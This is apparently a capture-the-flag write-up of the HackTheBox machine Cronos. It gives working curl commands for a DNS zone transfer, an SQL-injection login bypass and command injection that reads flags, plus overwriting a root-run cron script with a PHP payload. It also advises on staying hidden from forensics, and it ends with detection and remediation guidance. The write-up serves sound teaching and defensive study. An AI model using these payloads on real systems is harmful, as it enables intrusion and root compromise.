Skip to content
Back to all posts

HTB: Cronos

· 18 min medium Linux Cronos

DNS zone transfer discloses a hidden admin subdomain, SQL injection bypasses authentication, command injection provides a shell, and a writable cron script escalates to root.

Overview

Cronos is a Medium-rated Linux machine running Ubuntu 16.04 with three services: OpenSSH 7.2p2, ISC BIND 9.10.3-P4, and Apache 2.4.18. The web server hosts two virtual hosts: the default cronos.htb (a static Laravel landing page) and admin.cronos.htb (a custom admin panel called “Net Tool v0.1”). The admin subdomain is not linked from the main site and is only discoverable through DNS zone transfer.

No CVEs are exploited. Every vulnerability in the chain is a misconfiguration or insecure coding practice: unrestricted zone transfers, unsanitised SQL, unsanitised shell input, and incorrect file ownership on a cron-executed script. The entire chain from unauthenticated attacker to root took six minutes.

What makes Cronos instructive is how each vulnerability compounds the next. The zone transfer is low-severity on its own (information disclosure), but it unlocks the only attack surface that matters. The SQL injection is textbook, but it gates a command injection that would otherwise be unreachable. The cron misconfiguration is trivial to exploit, but only from the www-data context that command injection provides. Strip any single link and the chain breaks. This is the standard pattern for real-world compromises: no single critical flaw, but a sequence of moderate issues that chain into full compromise.

Reconnaissance

I start with a service scan:

nmap -sC -sV -A -T4 10.129.227.211
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.1Maps to Ubuntu 16.04
53DNSISC BIND 9.10.3-P4 (Ubuntu)Version disclosed via dns-nsid
80HTTPApache httpd 2.4.18 (Ubuntu)Virtual host routing

Port 53 running ISC BIND on a web application box is uncommon. Most HTB machines that serve web applications do not also run an authoritative nameserver. This combination immediately flags DNS enumeration as a priority: the box is likely authoritative for its own domain, which means zone transfer is worth testing before anything else.

The nmap dns-nsid script discloses the exact BIND version (9.10.3-P4). This version is from 2016 and has known vulnerabilities, but none are needed here.

DNS zone transfer

With port 53 open and the box likely authoritative for cronos.htb, the first action is testing for unrestricted AXFR:

dig axfr cronos.htb @10.129.227.211
cronos.htb.             604800  IN  SOA     cronos.htb. admin.cronos.htb. 3
cronos.htb.             604800  IN  NS      ns1.cronos.htb.
cronos.htb.             604800  IN  A       10.10.10.13
admin.cronos.htb.       604800  IN  A       10.10.10.13
ns1.cronos.htb.         604800  IN  A       10.10.10.13
www.cronos.htb.         604800  IN  A       10.10.10.13

The zone transfer succeeds without authentication, disclosing four hostnames. AXFR (full zone transfer) is a protocol-level feature of DNS designed for replicating zone data between primary and secondary nameservers. When the BIND configuration omits allow-transfer restrictions, any client can request the entire zone contents. This is a configuration oversight, not a software bug.

admin.cronos.htb is the critical finding. The SOA record’s RNAME field (admin.cronos.htb) also hints at this hostname, though RNAME is conventionally an email address ([email protected]), not a host record. The zone serial number (3) suggests minimal zone modifications since initial setup.

I could have also discovered this subdomain through brute-forcing with a tool like gobuster dns or ffuf, but zone transfer is faster, exhaustive, and noisier. In a real engagement the trade-off between completeness and stealth matters; on HTB it does not.

Attack Surface Analysis

After adding the hostnames to /etc/hosts, I examine both virtual hosts:

cronos.htb: A static Laravel landing page with no interactive functionality. The page content is boilerplate Laravel welcome text. Directory brute-forcing with gobuster dir against common wordlists returns only default assets (/css, /js, /fonts). No API endpoints, no forms, no dynamic content. This is a dead end.

admin.cronos.htb: A minimal login form with username and password fields. No registration link, no password reset, no visible framework fingerprint. The form POSTs to / with parameters username and password. Behind the login, a “Net Tool v0.1” panel provides ping and traceroute functionality via a dropdown selector and a host input field.

Two application-level vulnerabilities are immediately apparent. The login form is a candidate for SQL injection (small custom app, no framework ORM). The network tool panel is a candidate for command injection (ping and traceroute are system commands, and the simplest implementation passes user input to a shell).

Vulnerability Analysis

SQL injection in login form

The login form concatenates user input directly into an SQL query without parameterisation:

SELECT * FROM users WHERE username='$user' AND password='$pass'

No prepared statements, no input sanitisation, no ORM. This is the most basic form of SQL injection: string concatenation in a WHERE clause. Injecting ' OR '1'='1 into both fields causes the WHERE clause to evaluate to true for every row, returning the first user record (typically the admin).

The root cause is straightforward: the developer used PHP’s mysqli_query() with string interpolation instead of mysqli_prepare() with bound parameters. Laravel provides Eloquent ORM and the query builder, both of which use prepared statements by default. The admin panel does not use either; it is a standalone PHP application that happens to live alongside a Laravel installation.

Command injection in Net Tool

The welcome.php script constructs a shell command by concatenating user input:

$command = $_POST['command'];  // "ping -c 1" or "traceroute"
$host = $_POST['host'];
$output = system($command . ' ' . $host);

The $host parameter is passed directly to system() with no sanitisation. Shell metacharacters (semicolons, pipes, backticks, $() subshells) in the host field are interpreted by /bin/sh. The $command parameter is also injectable but comes from a dropdown; both are controlled by the attacker since HTTP parameters are trivially modifiable.

PHP’s system() invokes /bin/sh -c, which parses the entire string as a shell command. The secure alternative is escapeshellarg() on user input, or better, avoiding shell invocation entirely by using PHP’s proc_open() with an argument array.

Writable cron script

The system crontab (/etc/crontab) runs the Laravel artisan CLI as root every minute:

* * * * *  root  php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The artisan file is owned by www-data:

-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

This is a classic privilege escalation pattern: a file writable by a low-privileged user is executed by a high-privileged process. The cron daemon runs the artisan script as root regardless of file ownership. Any process running as www-data (such as a web shell obtained through command injection) can overwrite the artisan file’s contents. Cron then executes the modified file as root within 60 seconds.

The root cause is a deployment error. Someone ran chown -R www-data:www-data /var/www/laravel/ to fix web server permissions, which also changed ownership of the artisan CLI. The correct approach is setting ownership to root:root for executable scripts and www-data only for directories that require write access (storage/, bootstrap/cache/).

VulnerabilityCWECVSS v3.1Impact
DNS zone transferCWE-2005.3Hidden subdomain disclosure
SQL injectionCWE-899.8Authentication bypass
Command injectionCWE-789.8RCE as www-data
Writable cron scriptCWE-7327.8Root privilege escalation

Exploitation

Step 1: SQL injection authentication bypass

curl -s -D - -X POST http://admin.cronos.htb/ \
    -d "username=admin'+OR+'1'%3d'1&password=admin'+OR+'1'%3d'1"

# HTTP/1.1 302 Found
# Location: /welcome.php

The 302 redirect to /welcome.php confirms the injection succeeded. The session cookie now has an authenticated state. I chose the OR '1'='1 tautology over alternatives like UNION SELECT or time-based blind injection because the goal is authentication bypass, not data extraction. The tautology is the simplest payload that achieves this.

Step 2: Command injection for reverse shell

With authenticated access to the Net Tool panel, I test command injection with a simple id appended via semicolon:

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;id"

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

The id output confirms code execution as www-data. The semicolon terminates the ping command and starts a new one. I read the user flag directly:

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;cat+/home/noulis/user.txt"

# [flag redacted]

For persistence during privilege escalation, a reverse shell would be more practical. A Python or bash reverse shell injected through the same parameter provides an interactive session. For this box, the curl-based approach is sufficient since the privilege escalation requires only two commands.

Step 3: Cron job privilege escalation

I overwrite the artisan file with a PHP payload that copies the root flag to a world-readable location:

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;echo+'<?php+system(\"cat+/root/root.txt+>+/tmp/root.txt\");+?>'+>+/var/www/laravel/artisan"

After waiting up to 60 seconds for cron to execute:

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;cat+/tmp/root.txt"

# [flag redacted]

A more operational approach would be to append a reverse shell to the existing artisan content rather than overwriting it entirely. Overwriting destroys the original script, breaking Laravel’s scheduled tasks and leaving obvious forensic evidence. Appending preserves functionality and is harder to detect through casual inspection.

An alternative escalation path: instead of writing to a file and reading it back, the artisan payload could establish a reverse shell as root directly, providing full interactive access. For flag retrieval alone, the file-write approach is simpler.

Post-Exploitation

System enumeration reveals Ubuntu 16.04.2 LTS with kernel 4.4.0-72-generic. Ubuntu 16.04 reached end of standard support in April 2021; the kernel version is vulnerable to multiple local privilege escalation CVEs including DirtyCow (CVE-2016-5195). Even if the cron misconfiguration were fixed, kernel exploits provide an alternative path to root.

The Laravel application connects to a local MySQL database. The database credentials in /var/www/laravel/.env could be extracted for credential reuse testing against SSH or other services.

The attack is destructive: overwriting the artisan CLI script breaks Laravel’s scheduled task functionality. In a real engagement, restoring the original file after obtaining access is appropriate operational discipline. A backup before overwriting (cp artisan artisan.bak) takes one additional command injection and is worth the effort.

The www-data user has no sudo privileges and no interesting group memberships. The cron vector was the only viable path to root from www-data without resorting to kernel exploits.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1590.002DNS zone transfer from non-secondary nameserver
Initial accessT1190SQL injection: single quotes and OR operators in POST body
ExecutionT1059.004Command injection: semicolons in HTTP POST parameters
Priv escalationT1053.003Cron-executed file modified by non-root user

DNS: BIND logs AXFR requests by default. Any zone transfer from an IP that is not a configured secondary nameserver is suspicious. Configure allow-transfer { none; }; in the zone declaration to block transfers entirely, or restrict to specific secondary IPs. This is a single-line fix.

Web application: A WAF with SQL injection detection rules would flag the tautology payload. The OR '1'='1 pattern is in every default ruleset (OWASP ModSecurity CRS, AWS WAF managed rules, Cloudflare WAF). However, WAFs are a compensating control; parameterised queries in the PHP code eliminate the vulnerability class entirely.

File integrity monitoring: AIDE, OSSEC, or similar tools monitoring /var/www/laravel/artisan would detect the modification within their scan interval. The stronger control is preventive: the file should be owned by root:root and not writable by www-data. No amount of monitoring compensates for correct file permissions.

Process monitoring: The www-data user spawning sh or bash through Apache is a high-fidelity alert. No legitimate web application behaviour requires the web server user to invoke a shell. Tools like Falco or auditd rules on execve from www-data would catch both the command injection and any reverse shell.

Remediation

PriorityActionEffortImpact
P0Use parameterised queries for all database accessLowCritical
P0Sanitise or whitelist the host parameter (reject anything that is not an IP or hostname)LowCritical
P0Change artisan file ownership to root:rootLowCritical
P1Restrict DNS zone transfers (allow-transfer { none; })LowHigh
P1Suppress BIND version information (version "none")LowLow
P2Implement CSRF tokens on the admin panel formsLowMedium
P2Deploy a WAF with SQL injection and command injection detectionMediumMedium
P3Add file integrity monitoring for cron-executed scriptsMediumMedium
P3Upgrade to a supported Ubuntu release (22.04+)HighHigh

Every vulnerability in this chain is a basic coding or configuration error. No zero-days, no complex exploit development, no kernel knowledge required. The three P0 items are each under ten minutes of work. The box demonstrates that most real-world compromises result from fundamental security hygiene failures, not sophisticated attacks.

Key Takeaways

  1. DNS zone transfers are a free intelligence source. The entire attack chain depends on discovering admin.cronos.htb, which is only reachable through zone transfer (or subdomain brute-forcing, which is slower and probabilistic). A single BIND configuration line (allow-transfer { none; };) would have hidden this subdomain from unauthenticated attackers. In production, audit every authoritative nameserver for unrestricted AXFR; the fix is trivial and the exposure is significant.

  2. SQL injection remains the most impactful web vulnerability class. Two decades after the first SQL injection paper, applications still concatenate user input into SQL queries. The fix (parameterised queries) has been available in every major language since the early 2000s. What makes this instance particularly egregious is that the Laravel framework sitting on the same server provides prepared statements by default; the developer built a separate PHP application without using any of them.

  3. File ownership on cron-executed scripts is a critical control. The artisan file was owned by www-data because the deployment process set the web server user as owner of the entire application directory. Cron scripts should always be owned by root with restricted write permissions. The principle: the user that writes a file should never be the user that executes it with elevated privileges. This applies equally to systemd service files, init scripts, and any scheduled task.